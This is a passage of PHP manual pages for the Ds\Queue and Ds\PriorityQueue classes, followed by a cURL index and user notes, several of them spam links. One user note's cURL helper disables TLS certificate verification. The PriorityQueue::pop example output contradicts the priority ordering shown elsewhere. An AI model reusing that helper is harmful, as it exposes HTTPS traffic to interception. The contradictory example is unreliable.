A Queue is a "first in, first out" or "FIFO" collection that only allows access to the value at the front of the queue and iterates in that order, destructively.

クラス概要

Ds\Queue implements Ds\Collection , ArrayAccess {
/* Constants */
const int MIN_CAPACITY = 8 ;
/* メソッド */
public allocate ( int $capacity ) : void
public capacity ( ) : int
public clear ( ) : void
public copy ( ) : Ds\Queue
public isEmpty ( ) : bool
public peek ( ) : mixed
public pop ( ) : mixed
public push ( mixed ...$values ) : void
public toArray ( ) : array
}

定義済み定数

Ds\Queue::MIN_CAPACITY

変更履歴

バージョン | 説明
PECL ds 1.3.0 | The class now implements ArrayAccess.

目次

  • Ds\Queue::allocate — Allocates enough memory for a required capacity
  • Ds\Queue::capacity — Returns the current capacity
  • Ds\Queue::clear — Removes all values
  • Ds\Queue::__construct — Creates a new instance
  • Ds\Queue::copy — Returns a shallow copy of the queue
  • Ds\Queue::count — Returns the number of values in the queue
  • Ds\Queue::isEmpty — Returns whether the queue is empty
  • Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\Queue::peek — Returns the value at the front of the queue
  • Ds\Queue::pop — Removes and returns the value at the front of the queue
  • Ds\Queue::push — Pushes values into the queue
  • Ds\Queue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ Queue
  • Ds\Queue::capacity ≫
  • PHP Manual
  • Queue
  • Allocates enough memory for a required capacity

Ds\Queue::allocate

(PECL ds >= 1.0.0)

Ds\Queue::allocate — Allocates enough memory for a required capacity

説明

public Ds\Queue::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

注意:

Capacity will always be rounded up to the nearest power of 2.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

注意:

Capacity will always be rounded up to the nearest power of 2.

返り値

値を返しません。

例

例1 Ds\Queue::allocate() example

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\Queue::allocate
  • Ds\Queue::clear ≫
  • PHP Manual
  • Queue
  • Returns the current capacity

Ds\Queue::capacity

(PECL ds >= 1.0.0)

Ds\Queue::capacity — Returns the current capacity

説明

public Ds\Queue::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\Queue::capacity() example

<?php
$queue = new \Ds\Queue();
var_dump($queue->capacity());

$queue->push(...range(1, 50));
var_dump($queue->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)
int(64)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\Queue::capacity
  • Ds\Queue::__construct ≫
  • PHP Manual
  • Queue
  • Removes all values

Ds\Queue::clear

(PECL ds >= 1.0.0)

Ds\Queue::clear — Removes all values

説明

public Ds\Queue::clear ( ) : void

Removes all values from the queue.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\Queue::clear() example

<?php
$queue = new \Ds\Queue([1, 2, 3]);
print_r($queue);

$queue->clear();
print_r($queue);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\Queue::clear
  • Ds\Queue::copy ≫
  • PHP Manual
  • Queue
  • Creates a new instance

Ds\Queue::__construct

(PECL ds >= 1.0.0)

Ds\Queue::__construct — Creates a new instance

説明

public Ds\Queue::__construct ( mixed $values = ? )

Creates a new instance, using either a traversable object or an array for the initial values.

パラメータ

values

A traversable object or an array to use for the initial values.

例

例1 Ds\Queue::__construct() example

<?php
$queue = new \Ds\Queue();
var_dump($queue);

$queue = new \Ds\Queue([1, 2, 3]);
var_dump($queue);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\Queue)#2 (0) {
}
object(Ds\Queue)#2 (3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the queue

  • ≪ Ds\Queue::__construct
  • Ds\Queue::count ≫
  • PHP Manual
  • Queue
  • Returns a shallow copy of the queue

Ds\Queue::copy

(PECL ds >= 1.0.0)

Ds\Queue::copy — Returns a shallow copy of the queue

説明

public Ds\Queue::copy ( ) : Ds\Queue

Returns a shallow copy of the queue.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the queue.

例

例1 Ds\Queue::copy() example

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = $a->copy();

// Updating the copy doesn't affect the original
$b->push(4);

print_r($a);
print_r($b);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
)
Ds\Queue Object
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the queue

  • ≪ Ds\Queue::copy
  • Ds\Queue::isEmpty ≫
  • PHP Manual
  • Queue
  • Returns the number of values in the queue

Ds\Queue::count

(PECL ds >= 1.0.0)

Ds\Queue::count — Returns the number of values in the queue

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the queue is empty

  • ≪ Ds\Queue::count
  • Ds\Queue::jsonSerialize ≫
  • PHP Manual
  • Queue
  • Returns whether the queue is empty

Ds\Queue::isEmpty

(PECL ds >= 1.0.0)

Ds\Queue::isEmpty — Returns whether the queue is empty

説明

public Ds\Queue::isEmpty ( ) : bool

Returns whether the queue is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the queue is empty, false otherwise.

例

例1 Ds\Queue::isEmpty() example

<?php
$a = new \Ds\Queue([1, 2, 3]);
$b = new \Ds\Queue();

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\Queue::isEmpty
  • Ds\Queue::peek ≫
  • PHP Manual
  • Queue
  • Returns a representation that can be converted to JSON

Ds\Queue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\Queue::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the front of the queue

  • ≪ Ds\Queue::jsonSerialize
  • Ds\Queue::pop ≫
  • PHP Manual
  • Queue
  • Returns the value at the front of the queue

Ds\Queue::peek

(PECL ds >= 1.0.0)

Ds\Queue::peek — Returns the value at the front of the queue

説明

public Ds\Queue::peek ( ) : mixed

Returns the value at the front of the queue, but does not remove it.

パラメータ

この関数にはパラメータはありません。

返り値

The value at the front of the queue.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Queue::peek() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->peek());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value at the front of the queue

  • ≪ Ds\Queue::peek
  • Ds\Queue::push ≫
  • PHP Manual
  • Queue
  • Removes and returns the value at the front of the queue

Ds\Queue::pop

(PECL ds >= 1.0.0)

Ds\Queue::pop — Removes and returns the value at the front of the queue

説明

public Ds\Queue::pop ( ) : mixed

Removes and returns the value at the front of the queue.

パラメータ

この関数にはパラメータはありません。

返り値

The removed value which was at the front of the queue.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\Queue::pop() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c");

var_dump($queue->pop());
var_dump($queue->pop());
var_dump($queue->pop());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values into the queue

  • ≪ Ds\Queue::pop
  • Ds\Queue::toArray ≫
  • PHP Manual
  • Queue
  • Pushes values into the queue

Ds\Queue::push

(PECL ds >= 1.0.0)

Ds\Queue::push — Pushes values into the queue

説明

public Ds\Queue::push ( mixed ...$values ) : void

Pushes values into the queue.

パラメータ

values

The values to push into the queue.

返り値

値を返しません。

例

例1 Ds\Queue::push() example

<?php
$queue = new \Ds\Queue();

$queue->push("a");
$queue->push("b");
$queue->push("c", "d");
$queue->push(...["e", "f"]);

print_r($queue);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\Queue Object
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
    [4] => e
    [5] => f
)

User Contributed Notes

There are no user contributed notes for this page.


Converts the queue to an array

  • ≪ Ds\Queue::push
  • PriorityQueue ≫
  • PHP Manual
  • Queue
  • Converts the queue to an array

Ds\Queue::toArray

(PECL ds >= 1.0.0)

Ds\Queue::toArray — Converts the queue to an array

説明

public Ds\Queue::toArray ( ) : array

Converts the queue to an array.

注意:

Casting to an array is not supported yet.

注意:

This method is not destructive.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the queue.

例

例1 Ds\Queue::toArray() example

<?php
$queue = new \Ds\Queue([1, 2, 3]);

var_dump($queue->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

User Contributed Notes

There are no user contributed notes for this page.


The PriorityQueue class

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

A PriorityQueue is very similar to a Queue. Values are pushed into the queue with an assigned priority, and the value with the highest priority will always be at the front of the queue.

Implemented using a max heap.

注意:

"First in, first out" ordering is preserved for values with the same priority.

注意:

Iterating over a PriorityQueue is destructive, equivalent to successive pop operations until the queue is empty.

クラス概要

Ds\PriorityQueue implements Ds\Collection {
/* Constants */
const int MIN_CAPACITY = 8 ;
/* メソッド */
public allocate ( int $capacity ) : void
public capacity ( ) : int
public clear ( ) : void
public copy ( ) : Ds\PriorityQueue
public isEmpty ( ) : bool
public peek ( ) : mixed
public pop ( ) : mixed
public push ( mixed $value , int $priority ) : void
public toArray ( ) : array
}

定義済み定数

Ds\PriorityQueue::MIN_CAPACITY

目次

  • Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity
  • Ds\PriorityQueue::capacity — Returns the current capacity
  • Ds\PriorityQueue::clear — Removes all values
  • Ds\PriorityQueue::__construct — Creates a new instance
  • Ds\PriorityQueue::copy — Returns a shallow copy of the queue
  • Ds\PriorityQueue::count — Returns the number of values in the queue
  • Ds\PriorityQueue::isEmpty — Returns whether the queue is empty
  • Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON
  • Ds\PriorityQueue::peek — Returns the value at the front of the queue
  • Ds\PriorityQueue::pop — Removes and returns the value with the highest priority
  • Ds\PriorityQueue::push — Pushes values into the queue
  • Ds\PriorityQueue::toArray — Converts the queue to an array

User Contributed Notes

There are no user contributed notes for this page.


Allocates enough memory for a required capacity

  • ≪ PriorityQueue
  • Ds\PriorityQueue::capacity ≫
  • PHP Manual
  • PriorityQueue
  • Allocates enough memory for a required capacity

Ds\PriorityQueue::allocate

(PECL ds >= 1.0.0)

Ds\PriorityQueue::allocate — Allocates enough memory for a required capacity

説明

public Ds\PriorityQueue::allocate ( int $capacity ) : void

Ensures that enough memory is allocated for a required capacity. This removes the need to reallocate the internal as values are added.

パラメータ

capacity

The number of values for which capacity should be allocated.

注意:

Capacity will stay the same if this value is less than or equal to the current capacity.

注意:

Capacity will always be rounded up to the nearest power of 2.

返り値

値を返しません。

例

例1 Ds\PriorityQueue::allocate() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());

$queue->allocate(100);
var_dump($queue->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)
int(128)

User Contributed Notes

There are no user contributed notes for this page.


Returns the current capacity

  • ≪ Ds\PriorityQueue::allocate
  • Ds\PriorityQueue::clear ≫
  • PHP Manual
  • PriorityQueue
  • Returns the current capacity

Ds\PriorityQueue::capacity

(PECL ds >= 1.0.0)

Ds\PriorityQueue::capacity — Returns the current capacity

説明

public Ds\PriorityQueue::capacity ( ) : int

Returns the current capacity.

パラメータ

この関数にはパラメータはありません。

返り値

The current capacity.

例

例1 Ds\PriorityQueue::capacity() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue->capacity());
?>

上の例の出力は、 たとえば以下のようになります。

int(8)

User Contributed Notes

There are no user contributed notes for this page.


Removes all values

  • ≪ Ds\PriorityQueue::capacity
  • Ds\PriorityQueue::__construct ≫
  • PHP Manual
  • PriorityQueue
  • Removes all values

Ds\PriorityQueue::clear

(PECL ds >= 1.0.0)

Ds\PriorityQueue::clear — Removes all values

説明

public Ds\PriorityQueue::clear ( ) : void

Removes all values from the queue.

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 Ds\PriorityQueue::clear() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

$queue->clear();
print_r($queue);
?>

上の例の出力は、 たとえば以下のようになります。

Ds\PriorityQueue Object
(
)

User Contributed Notes

There are no user contributed notes for this page.


Creates a new instance

  • ≪ Ds\PriorityQueue::clear
  • Ds\PriorityQueue::copy ≫
  • PHP Manual
  • PriorityQueue
  • Creates a new instance

Ds\PriorityQueue::__construct

(PECL ds >= 1.0.0)

Ds\PriorityQueue::__construct — Creates a new instance

説明

public Ds\PriorityQueue::__construct ( )

Creates a new instance.

例

例1 Ds\PriorityQueue::__construct() example

<?php
$queue = new \Ds\PriorityQueue();
var_dump($queue);
?>

上の例の出力は、 たとえば以下のようになります。

object(Ds\PriorityQueue)#1 (0) {
}

User Contributed Notes

There are no user contributed notes for this page.


Returns a shallow copy of the queue

  • ≪ Ds\PriorityQueue::__construct
  • Ds\PriorityQueue::count ≫
  • PHP Manual
  • PriorityQueue
  • Returns a shallow copy of the queue

Ds\PriorityQueue::copy

(PECL ds >= 1.0.0)

Ds\PriorityQueue::copy — Returns a shallow copy of the queue

説明

public Ds\PriorityQueue::copy ( ) : Ds\PriorityQueue

Returns a shallow copy of the queue.

パラメータ

この関数にはパラメータはありません。

返り値

Returns a shallow copy of the queue.

例

例1 Ds\PriorityQueue::copy() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->copy());
?>

上の例の出力は、 たとえば以下のようになります。

Ds\PriorityQueue Object
(
    [0] => b
    [1] => c
    [2] => a
)

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of values in the queue

  • ≪ Ds\PriorityQueue::copy
  • Ds\PriorityQueue::isEmpty ≫
  • PHP Manual
  • PriorityQueue
  • Returns the number of values in the queue

Ds\PriorityQueue::count

(PECL ds >= 1.0.0)

Ds\PriorityQueue::count — Returns the number of values in the queue

See Countable::count()

User Contributed Notes

There are no user contributed notes for this page.


Returns whether the queue is empty

  • ≪ Ds\PriorityQueue::count
  • Ds\PriorityQueue::jsonSerialize ≫
  • PHP Manual
  • PriorityQueue
  • Returns whether the queue is empty

Ds\PriorityQueue::isEmpty

(PECL ds >= 1.0.0)

Ds\PriorityQueue::isEmpty — Returns whether the queue is empty

説明

public Ds\PriorityQueue::isEmpty ( ) : bool

Returns whether the queue is empty.

パラメータ

この関数にはパラメータはありません。

返り値

Returns true if the queue is empty, false otherwise.

例

例1 Ds\PriorityQueue::isEmpty() example

<?php
$a = new \Ds\PriorityQueue();
$b = new \Ds\PriorityQueue();

$a->push("a",  5);
$a->push("b", 15);
$a->push("c", 10);

var_dump($a->isEmpty());
var_dump($b->isEmpty());
?>

上の例の出力は、 たとえば以下のようになります。

bool(false)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ Ds\PriorityQueue::isEmpty
  • Ds\PriorityQueue::peek ≫
  • PHP Manual
  • PriorityQueue
  • Returns a representation that can be converted to JSON

Ds\PriorityQueue::jsonSerialize

(PECL ds >= 1.0.0)

Ds\PriorityQueue::jsonSerialize — Returns a representation that can be converted to JSON

See JsonSerializable::jsonSerialize()

注意:

You should never need to call this directly.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value at the front of the queue

  • ≪ Ds\PriorityQueue::jsonSerialize
  • Ds\PriorityQueue::pop ≫
  • PHP Manual
  • PriorityQueue
  • Returns the value at the front of the queue

Ds\PriorityQueue::peek

(PECL ds >= 1.0.0)

Ds\PriorityQueue::peek — Returns the value at the front of the queue

説明

public Ds\PriorityQueue::peek ( ) : mixed

Returns the value at the front of the queue, but does not remove it.

パラメータ

この関数にはパラメータはありません。

返り値

The value at the front of the queue.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\PriorityQueue::peek() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->peek());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "b"

User Contributed Notes

There are no user contributed notes for this page.


Removes and returns the value with the highest priority

  • ≪ Ds\PriorityQueue::peek
  • Ds\PriorityQueue::push ≫
  • PHP Manual
  • PriorityQueue
  • Removes and returns the value with the highest priority

Ds\PriorityQueue::pop

(PECL ds >= 1.0.0)

Ds\PriorityQueue::pop — Removes and returns the value with the highest priority

説明

public Ds\PriorityQueue::pop ( ) : mixed

Removes and returns the value at the front of the queue, ie. the value with the highest priority.

注意:

Values with equal priority fall back to FIFO (first in first out).

パラメータ

この関数にはパラメータはありません。

返り値

The removed value which was at the front of the queue.

エラー / 例外

UnderflowException if empty.

例

例1 Ds\PriorityQueue::pop() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "a"
string(1) "b"
string(1) "c"

User Contributed Notes

There are no user contributed notes for this page.


Pushes values into the queue

  • ≪ Ds\PriorityQueue::pop
  • Ds\PriorityQueue::toArray ≫
  • PHP Manual
  • PriorityQueue
  • Pushes values into the queue

Ds\PriorityQueue::push

(PECL ds >= 1.0.0)

Ds\PriorityQueue::push — Pushes values into the queue

説明

public Ds\PriorityQueue::push ( mixed $value , int $priority ) : void

Pushes a value with a given priority into the queue.

パラメータ

value

The value to push into the queue.

priority

The priority associated with the value.

返り値

値を返しません。

例

例1 Ds\PriorityQueue::push() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

print_r($queue->pop());
print_r($queue->pop());
print_r($queue->pop());
?>

上の例の出力は、 たとえば以下のようになります。

string(1) "b"
string(1) "c"
string(1) "a"

User Contributed Notes

There are no user contributed notes for this page.


Converts the queue to an array

  • ≪ Ds\PriorityQueue::push
  • その他のサービス ≫
  • PHP Manual
  • PriorityQueue
  • Converts the queue to an array

Ds\PriorityQueue::toArray

(PECL ds >= 1.0.0)

Ds\PriorityQueue::toArray — Converts the queue to an array

説明

public Ds\PriorityQueue::toArray ( ) : array

Converts the queue to an array.

注意:

This method is not destructive.

注意:

Casting to an array is not supported yet.

パラメータ

この関数にはパラメータはありません。

返り値

An array containing all the values in the same order as the queue.

例

例1 Ds\PriorityQueue::toArray() example

<?php
$queue = new \Ds\PriorityQueue();

$queue->push("a",  5);
$queue->push("b", 15);
$queue->push("c", 10);

var_dump($queue->toArray());
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  [0]=>
  string(1) "b"
  [1]=>
  string(1) "c"
  [2]=>
  string(1) "a"
}

User Contributed Notes

There are no user contributed notes for this page.


その他のサービス

  • cURL — Client URL Library
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • cURL 関数
    • CurlHandle — CurlHandle クラス
    • CurlMultiHandle — CurlMultiHandle クラス
    • CurlShareHandle — CurlShareHandle クラス
    • CURLFile — CURLFile クラス
  • Event
    • はじめに
    • インストール/設定
    • 例
    • Event flags
    • About event persistence
    • Event callbacks
    • Constructing signal events
    • Event — The Event class
    • EventBase — The EventBase class
    • EventBuffer — The EventBuffer class
    • EventBufferEvent — The EventBufferEvent class
    • About buffer event callbacks
    • EventConfig — The EventConfig class
    • EventDnsBase — The EventDnsBase class
    • EventHttp — The EventHttp class
    • EventHttpConnection — The EventHttpConnection class
    • EventHttpRequest — The EventHttpRequest class
    • EventListener — The EventListener class
    • EventSslContext — The EventSslContext class
    • EventUtil — The EventUtil class
  • FTP
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • FTP 関数
  • Gearman
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • GearmanClient — The GearmanClient class
    • GearmanJob — The GearmanJob class
    • GearmanTask — The GearmanTask class
    • GearmanWorker — The GearmanWorker class
    • GearmanException — The GearmanException class
  • LDAP — Lightweight Directory Access Protocol
    • はじめに
    • インストール/設定
    • 定義済み定数
    • PHP LDAP コールの使用法
    • LDAP コントロール
    • 例
    • LDAP 関数
  • Memcache
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • Memcache — Memcache クラス
    • Memcache 関数
  • Memcached
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 有効期限
    • コールバック
    • セッションのサポート
    • Memcached — Memcached クラス
    • MemcachedException — MemcachedException クラス
  • mqseries
    • はじめに
    • インストール/設定
    • 定義済み定数
    • mqseries 関数
  • ネットワーク
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ネットワーク 関数
  • RRD — RRDtool
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • RRD 関数
    • RRDCreator — RRDCreator クラス
    • RRDGraph — RRDGraph クラス
    • RRDUpdater — RRDUpdater クラス
  • ScoutAPM
    • はじめに
    • インストール/設定
    • 定義済み定数
    • Scoutapm 関数
  • SNMP
    • はじめに
    • インストール/設定
    • 定義済み定数
    • SNMP 関数
    • SNMP — SNMP クラス
    • SNMPException — SNMPException クラス
  • ソケット
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • ソケットのエラー
    • ソケット 関数
    • Socket — Socket クラス
    • AddressInfo — AddressInfo クラス
  • SSH2 — Secure Shell2
    • はじめに
    • インストール/設定
    • 定義済み定数
    • SSH2 関数
  • Stomp — Stomp Client
    • はじめに
    • インストール/設定
    • 例
    • Stomp 関数
    • Stomp — The Stomp class
    • StompFrame — The StompFrame class
    • StompException — The StompException class
  • SVM — サポートベクターマシン
    • はじめに
    • インストール/設定
    • 例
    • SVM — The SVM class
    • SVMModel — SVMModel クラス
  • SVN — Subversion
    • はじめに
    • インストール/設定
    • 定義済み定数
    • SVN 関数
  • TCP — TCP ラッパー
    • はじめに
    • インストール/設定
    • 定義済み定数
    • TCP 関数
  • Varnish
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • VarnishAdmin — VarnishAdmin クラス
    • VarnishStat — VarnishStat クラス
    • VarnishLog — VarnishLog クラス
  • YAZ
    • はじめに
    • インストール/設定
    • 定義済み定数
    • 例
    • YAZ 関数
  • 0MQ messaging — ZMQ
    • はじめに
    • インストール/設定
    • ZMQ — The ZMQ class
    • ZMQContext — The ZMQContext class
    • ZMQSocket — The ZMQSocket class
    • ZMQPoll — The ZMQPoll class
    • ZMQDevice — The ZMQDevice class
  • ZooKeeper
    • はじめに
    • インストール/設定
    • 定義済み定数
    • ZooKeeper 関数
    • Zookeeper — The Zookeeper class
    • ZookeeperConfig — The ZookeeperConfig class
    • ZookeeperException — The ZookeeperException class
    • ZookeeperAuthenticationException — The ZookeeperAuthenticationException class
    • ZookeeperConnectionException — The ZookeeperConnectionException class
    • ZookeeperMarshallingException — The ZookeeperMarshallingException class
    • ZookeeperNoNodeException — The ZookeeperNoNodeException class
    • ZookeeperOperationTimeoutException — The ZookeeperOperationTimeoutException class
    • ZookeeperSessionException — The ZookeeperSessionException class

User Contributed Notes

There are no user contributed notes for this page.


Client URL Library

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
    • 基本的な curl の使用法
  • cURL 関数
    • curl_close — cURL セッションを閉じる
    • curl_copy_handle — cURL ハンドルを、その設定も含めてコピーする
    • curl_errno — 直近のエラー番号を返す
    • curl_error — 現在のセッションに関する直近のエラー文字列を返す
    • curl_escape — 指定した文字列を URL エンコードする
    • curl_exec — cURL セッションを実行する
    • curl_file_create — CURLFile オブジェクトを作る
    • curl_getinfo — 指定した伝送に関する情報を得る
    • curl_init — cURL セッションを初期化する
    • curl_multi_add_handle — cURL マルチハンドルに、通常の cURL ハンドルを追加する
    • curl_multi_close — cURL ハンドルのセットを閉じる
    • curl_multi_errno — 直近のマルチハンドルに対するエラー番号を返す
    • curl_multi_exec — 現在の cURL ハンドルから、サブ接続を実行する
    • curl_multi_getcontent — CURLOPT_RETURNTRANSFER が設定されている場合に、cURL ハンドルの内容を返す
    • curl_multi_info_read — 現在の転送についての情報を表示する
    • curl_multi_init — 新規 cURL マルチハンドルを返す
    • curl_multi_remove_handle — cURL ハンドルのセットからマルチハンドルを削除する
    • curl_multi_select — curl_multi 接続のアクティビティを待つ
    • curl_multi_setopt — cURL マルチハンドル用のオプションを設定する
    • curl_multi_strerror — エラーの内容を表す文字列を返す
    • curl_pause — 接続の中断と再開をする
    • curl_reset — libcurl セッションハンドルのすべてのオプションをリセットする
    • curl_setopt_array — CURL 転送用の複数のオプションを設定する
    • curl_setopt — cURL 転送用オプションを設定する
    • curl_share_close — cURL 共有ハンドルを閉じる
    • curl_share_errno — 直近の共有ハンドルに対するエラー番号を返す
    • curl_share_init — curl 共有ハンドルを初期化する
    • curl_share_setopt — cURL 共有ハンドルのオプションを設定する
    • curl_share_strerror — 与えられたエラーコードを説明する文字列を返す
    • curl_strerror — エラーコードの説明を返す
    • curl_unescape — URL エンコードされた文字列をデコードする
    • curl_version — cURL のバージョンを返す
  • CurlHandle — CurlHandle クラス
  • CurlMultiHandle — CurlMultiHandle クラス
  • CurlShareHandle — CurlShareHandle クラス
  • CURLFile — CURLFile クラス
    • CURLFile::__construct — CURLFile オブジェクトを作る
    • CURLFile::getFilename — ファイル名を取得する
    • CURLFile::getMimeType — MIME タイプを取得する
    • CURLFile::getPostFilename — POST 用のファイル名を取得する
    • CURLFile::setMimeType — MIME タイプを設定する
    • CURLFile::setPostFilename — POST 用のファイル名を設定する

User Contributed Notes

jcmargentina at gmail dot com 09-Oct-2019 01:40
Please note that new versions of curl is using http2 as default, so if you are having some strange errors, 0 http status codes, etc, please explicitly specify the http version in your code.
newuser at gmail dot com 26-Sep-2018 06:49
FYI cURL support (default enabled, ok) is prerequisite for Installation and Configuration of the Collection Extension of wiki portal. https://pickbestscope.com/
krogerfeedback at gmail dot com 17-Sep-2018 06:42
participate in the <a href="krogerfeedback">https://krogerfeedback.reviews</a> and win $5000 gift card.
user at gmail dot com 30-Aug-2018 06:50
Ratings are maintained by FFBE subreddit's Discord. Newbie questions and question whether a certain unit is good or not should be asked in .. http://ffbeunitranking.com/
politikos at live dot com 14-Jun-2018 06:06
I'm having problem to read this website.

https://jornalggn.com.br/noticia/moro-agora-levanta-sigilo-de-decisao-que-protege-delatores-de-orgaos-federais-0

Because of redirects and browser checking.
Any links from this https://jornalggn.com.br/

I'm receiving just this response:

"Checking your browser before accessing jornalggn.com.br.

This process is automatic. Your browser will redirect to your requested content shortly.

Please allow up to 5 seconds..."

Any tips, how to solve this using php_curl
Thanks in advance
--DJ
cikemic at mailtrix dot net 01-Apr-2018 08:45
After reading this post only one words comes out from my mouth that is "WoW". This post has helps me to acquire some new knowledge. So thanks for sharing your valuable ideas with us.
http://bestfrontandreardashcam.com/
ishavashi202 at gmail dot com 11-Feb-2018 04:30
Thanks https://ebestdigitalcalipers.com/
puspenduseth at gmail dot com 19-Sep-2017 07:13
After reading this post only one words comes out from my mouth that is "WoW". This post has helps me to acquire some new knowledge. So thanks for sharing your valuable ideas with us.
https://supremeten.com/best-wall-lights/
dongchao769390531 at 163 dot com 07-Jun-2017 07:23
<?php
/**
 * Curl send get request, support HTTPS protocol
 * @param string $url The request url
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @return mixed
 */
function getRequest($url, $refer = "", $timeout = 10)
{
    $ssl = stripos($url,'https://') === 0 ? true : false;
    $curlObj = curl_init();
    $options = [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => 1,
        CURLOPT_FOLLOWLOCATION => 1,
        CURLOPT_AUTOREFERER => 1,
        CURLOPT_USERAGENT => 'Mozilla/5.0 (compatible; MSIE 5.01; Windows NT 5.0)',
        CURLOPT_TIMEOUT => $timeout,
        CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_0,
        CURLOPT_HTTPHEADER => ['Expect:'],
        CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4,
    ];
    if ($refer) {
        $options[CURLOPT_REFERER] = $refer;
    }
    if ($ssl) {
        //support https
        $options[CURLOPT_SSL_VERIFYHOST] = false;
        $options[CURLOPT_SSL_VERIFYPEER] = false;
    }
    curl_setopt_array($curlObj, $options);
    $returnData = curl_exec($curlObj);
    if (curl_errno($curlObj)) {
        //error message
        $returnData = curl_error($curlObj);
    }
    curl_close($curlObj);
    return $returnData;
}

/**
 * Curl send post request, support HTTPS protocol
 * @param string $url The request url
 * @param array $data The post data
 * @param string $refer The request refer
 * @param int $timeout The timeout seconds
 * @param array $header The other request header
 * @return mixed
 */
function postRequest($url, $data, $refer = "", $timeout = 10, $header = [])
{
    $curlObj = curl_init();
